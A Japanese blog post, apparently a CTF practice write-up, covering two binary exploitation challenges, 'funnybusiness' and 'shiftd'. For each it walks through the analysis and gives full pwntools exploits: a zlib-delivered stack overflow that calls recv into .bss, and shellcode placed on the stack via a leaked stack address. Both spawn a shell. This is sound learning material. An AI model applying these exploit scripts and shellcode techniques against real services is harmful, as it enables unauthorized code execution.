pwnlist baby funnybusiness
下調べ
$ file funnybusiness | sed -e "s/,/\n/g" funnybusiness: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked (uses shared libs) for GNU/Linux 2.6.24 BuildID[sha1]=97b05818b1ef9a9383e922e10e1e43ce7a96389e stripped
$ checksec.sh --file funnybusiness RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH funnybusiness
Ubuntu14.04 64bitで動作させてる.
解析
実行してみると何かを待ち受けている.何だろう.
straceで実行するとポート49681で接続待ち受けしていることがわかった.いわゆるfork-server型の問題.
ncで接続するがfunnybusinessというユーザが存在しないとサーバ側でエラーが吐かれて接続が切れた.
gdb-pedaやobjdumpを駆使してバイナリの中身を追っていくと,文字列funnybusinessを引数に取ってgetpwnam関数が呼ばれていた.
getpwname関数について調べてみる.
getpwnam() 関数は、ユーザ名 name にマッチするパスワード・データベースのエントリを要素毎に分解し、各要素を格納した構造体へのポインタを返す
(パスワード・データベースの例: ローカルのパスワードファイル /etc/passwd,NIS, LDAP)
つまり,先ほどのエラーはOSにfunnybusinessという名前のユーザがいないことが原因のようだ.
OSにfunnybusinessユーザを追加して再度実行.(getpwnameを使っているので管理者権限で実行する必要あり).
うまく動いたっぽい...が,画面に何も表示されない.
さらにバイナリの中身を追っていくと,次のような動作をすることが分かった.
- 1回目のrecvでユーザが送るデータのサイズを受け取る
- 2回目のrecvでそのデータを受け取る
- 受け取ったデータを引数にとってinflate関数を実行
inflate関数って何だ...
調べた.
zlibライブラリの関数で,圧縮されたデータの解凍に使われる関数みたい.
さっそくてきとうな文字列を圧縮して送ってみる.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct import zlib host = 'localhost' port = 49681 conn = remote(host, port) data = "A" * 5000 comp_data = zlib.compress(data) conn.send(p32(len(comp_data))) conn.send(comp_data)
お,なんかeipが変なところへ飛んでる.
送ったデータでリターンアドレスが書き変わってるみたい.
これでeipは奪えたので送ったデータのどの部分がリターンアドレスに対応しているか調べる.
ただし,このままだとリターンアドレスに対応する部分がわかっても,データが圧縮されているので自由にリターンアドレスを指定できない.
どうしたものかとpythonのzlibライブラリの圧縮を見ていると,compress関数は第2引数に0を指定すると無圧縮で圧縮できるらしい.
これで生のデータを送れるので,自由にリターンアドレスを書き換えられる.
上記のコードのAの文字数を20,compress関数に引数0を指定して,再度データを送ってみる.(バイナリを解析しているとわかるが送れるサイズには制限がある)
ret命令が実行されるときのスタックを見てみるとespにA*14が積まれている.
送ったデータは20文字のAなので7番目の文字からリターンアドレスになるようだ.
これで自由にリターンアドレスを指定することができるようになったので,Exploitを組み立てればよい.
Exploit
下調べでもわかっているように,このバイナリはNXとPIEが無効になっている.
.bss領域にシェルコード置いてしまえばシェルが開ける.
あとはどうやって.bss領域にシェルコードを書きこむかだが,recv関数を利用すればよい.
.bss領域のアドレス調べて
$ readelf -S funnybusiness 28 個のセクションヘッダ、始点オフセット 0x2190: セクションヘッダ: [番] 名前 タイプ アドレス Off サイズ ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4 [ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4 [ 5] .dynsym DYNSYM 080481cc 0001cc 0001d0 10 A 6 1 4 [ 6] .dynstr STRTAB 0804839c 00039c 000121 00 A 0 0 1 [ 7] .gnu.version VERSYM 080484be 0004be 00003a 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 080484f8 0004f8 000030 00 A 6 1 4 [ 9] .rel.dyn REL 08048528 000528 000008 08 A 5 0 4 [10] .rel.plt REL 08048530 000530 0000d0 08 A 5 12 4 [11] .init PROGBITS 08048600 000600 00002e 00 AX 0 0 4 [12] .plt PROGBITS 08048630 000630 0001b0 04 AX 0 0 16 [13] .text PROGBITS 080487e0 0007e0 00074c 00 AX 0 0 16 [14] .fini PROGBITS 08048f2c 000f2c 00001a 00 AX 0 0 4 [15] .rodata PROGBITS 08048f48 000f48 0000d3 00 A 0 0 4 [16] .eh_frame_hdr PROGBITS 0804901c 00101c 000084 00 A 0 0 4 [17] .eh_frame PROGBITS 080490a0 0010a0 0002b8 00 A 0 0 4 [18] .ctors PROGBITS 0804af0c 001f0c 000008 00 WA 0 0 4 [19] .dtors PROGBITS 0804af14 001f14 000008 00 WA 0 0 4 [20] .jcr PROGBITS 0804af1c 001f1c 000004 00 WA 0 0 4 [21] .dynamic DYNAMIC 0804af20 001f20 0000d0 08 WA 6 0 4 [22] .got PROGBITS 0804aff0 001ff0 000004 04 WA 0 0 4 [23] .got.plt PROGBITS 0804aff4 001ff4 000074 04 WA 0 0 4 [24] .data PROGBITS 0804b068 002068 000010 00 WA 0 0 4 [25] .bss NOBITS 0804b080 002078 004058 00 WA 0 0 32 [26] .comment PROGBITS 00000000 002078 00002a 01 MS 0 0 1 [27] .shstrtab STRTAB 00000000 0020a2 0000ec 00 0 0 1
Exploitを書く
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct import zlib host = 'localhost' port = 49681 conn = remote(host, port) bss_addr = 0x804b080 elf = ELF('./funnybusiness') ret_addr = elf.plt['recv'] shellcode = asm(shellcraft.dupsh(4)) shellcode += asm(shellcraft.sh()) call_recv = p32(ret_addr) + p32(bss_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0) payload = "BBBBBB" # ret_addrを7文字目から置くため payload += call_recv comp_payload = zlib.compress(payload,0) conn.send(p32(len(comp_payload))) conn.send(comp_payload) conn.send(shellcode) conn.interactive()
fork-server型なのでシェルコードを送る前に,dup2などを使って自分が使用しているsocketディスクリプタを繋げてあげる必要がある.
これをしないとシェルは奪えても何も表示されない.
実行して無事シェル起動.
mattun-mart@4ctf:~/pwn/baby/funnybusiness$ python exploit.py [+] Opening connection to localhost on port 49681: Done [*] '/home/mattun-mart/pwn/baby/funnybusiness/funnybusiness' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments FORTIFY: Enabled [*] Switching to interactive mode $ ls -a . .. .bash_logout .bashrc .profile
pwnlist baby shiftd
下調べ
shiftd: ELF 64-bit LSB executable x86-64 version 1 (SYSV) dynamically linked (uses shared libs) for GNU/Linux 2.6.24 BuildID[sha1]=910854336439f51f20ebad1a772e36df392012ab stripped
$ checksec.sh --file shiftd RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH shiftd
実行ファイルはUbuntu14.04 64bitで動作させてる.
NXやSSPが無効でいろいろできそう.ストリップされてるのが面倒だなぁ.
解析
実行すると入力待ちになるので,てきとうに入力してみる...終了した.
仕方がないので,objdump,gdb-peda等を駆使してバイナリの中身を解析していく.
入力した値と文字列"NowIsTheWinterOfOurDiscountTent"と比較して,一致した場合は処理を進めている.
再度実行し,NowIsTheWinterOfOurDiscountTentを入力すると,次は名前を聞かれるのでテキトーに入力.
Welcome to Shifty's Time Formatting Service! What is your name? aaaa Welcome, aaaa�!
なんか文字化けしている.バグあるっぽい.ひとまず詳しい解析は後にして,そのまま処理を進める.
time formatを入力しろと言われるのでテキトーに入力.
Please provide a time format: %p Your formatted time is: PM Thank you! Come again!
指定されたtimeフォーマットが表示されて終了.
その後詳しく動作を解析すると,次のような流れで動作するようだ.
- 1回目の入力内容と文字列"NowIsTheWinterOfOurDiscountTent"を比較して,一致した場合処理を進める.
- 2回目の入力で名前を入力
- 3回目の入力でtime formatを入力
- time関数,localtime関数を使って現在時刻を取得
- 入力されたtime formatの内容に基づいてstrftime関数を用いて時刻を表示.
それでどこにバグがあるかというと,名前入力とformat time入力にそれぞれバグがある.
名前入力のバグ
入力文字数は最大16文字と制限されていて問題ない.
しかし,入力された文字の末尾にNULL文字を挿入していないため,文字列以降のデータ(\x00がくるまで)も読み込まれてしまっている.
運のいいことに改行だけ入力してみると,スタックアドレスをリークしてくれる.
どうやら,先ほど比較に使用した文字列"NowIsTheWinterOfOurDiscountTent"のスタックアドレス0x7fffffffdef0を表示しているらしい.
Exploitを書くときに使えそう.
format time入力のバグ
入力可能文字数がとんでもなくでかい.
0x400931: mov rax,QWORD PTR [rip+0x200730] # 0x601068 0x400938: mov rcx,rax 0x40093b: and ecx,0x7fffffff # 入力の最大値 => 0x400941: lea rax,[rbp-0x420] # 入力内容を保存する領域 0x400948: mov edx,0xa 0x40094d: mov rsi,rcx 0x400950: mov rdi,rax 0x400953: call 0x4007f4 #入力関数
入力関数を呼び出す前に,入力内容を保存する領域を0x420の大きさで確保しているが,入力関数の入力可能文字数を指定する引数に与えている値は0x77DD4868.
このバイナリはSSPが無効なので余裕でバッファオーバーフローできる.
スタックの中は次の図のような感じになっているので,format timeの入力の際0x428番目からリターンアドレスを指定すれば好きなように書き換えられる.
あとはExploit組み立てればOK.
Exploit
このバイナリはNXが無効になっているため,どこかにシェルコードを積んで,実行してあげればよさそう.
どこに積むかが問題だが,幸いスタック内のアドレスをリークできているのでこれを使えば,format timeの入力内容を確保しているスタックのアドレスを計算できる.
format timeの入力内容を確保しているスタックのアドレスとリークしたスタックのアドレスのoffsetは0x440だった.
ってことで,Exploitコード.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct context.arch = 'amd64' conn = process('./shiftd') conn.send('NowIsTheWinterOfOurDiscountTent\n') conn.recv() conn.send('\n') conn.recvuntil('Welcome, ') name = conn.recv(6) leak_stack_addr = u64(name + '\x00\x00') target_addr = leak_stack_addr - 0x440 shellcode = asm(shellcraft.sh()) payload = shellcode payload += "A" * (0x428 - len(shellcode)) payload += p64(target_addr) payload += '\n' conn.send(payload) conn.interactive()
結果
mattun-mart@4ctf:~/pwn/baby/shiftd$ python exploit.py [+] Starting local process './shiftd': pid 13700 [*] Switching to interactive mode ! Please provide a time format: Your formatted time is: jhH\xb8/bin///sPH\x89�hri\x814$1�V^H�VH\x89�1�j;X\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Thank you! Come again! $ ls dump exploit.py peda-session-shiftd.txt shiftd
pwnlist baby 村人A
解けた...が常設CTFなのでまとめることができない.
ハリネズミ本をやったことがあればすぐに解ける.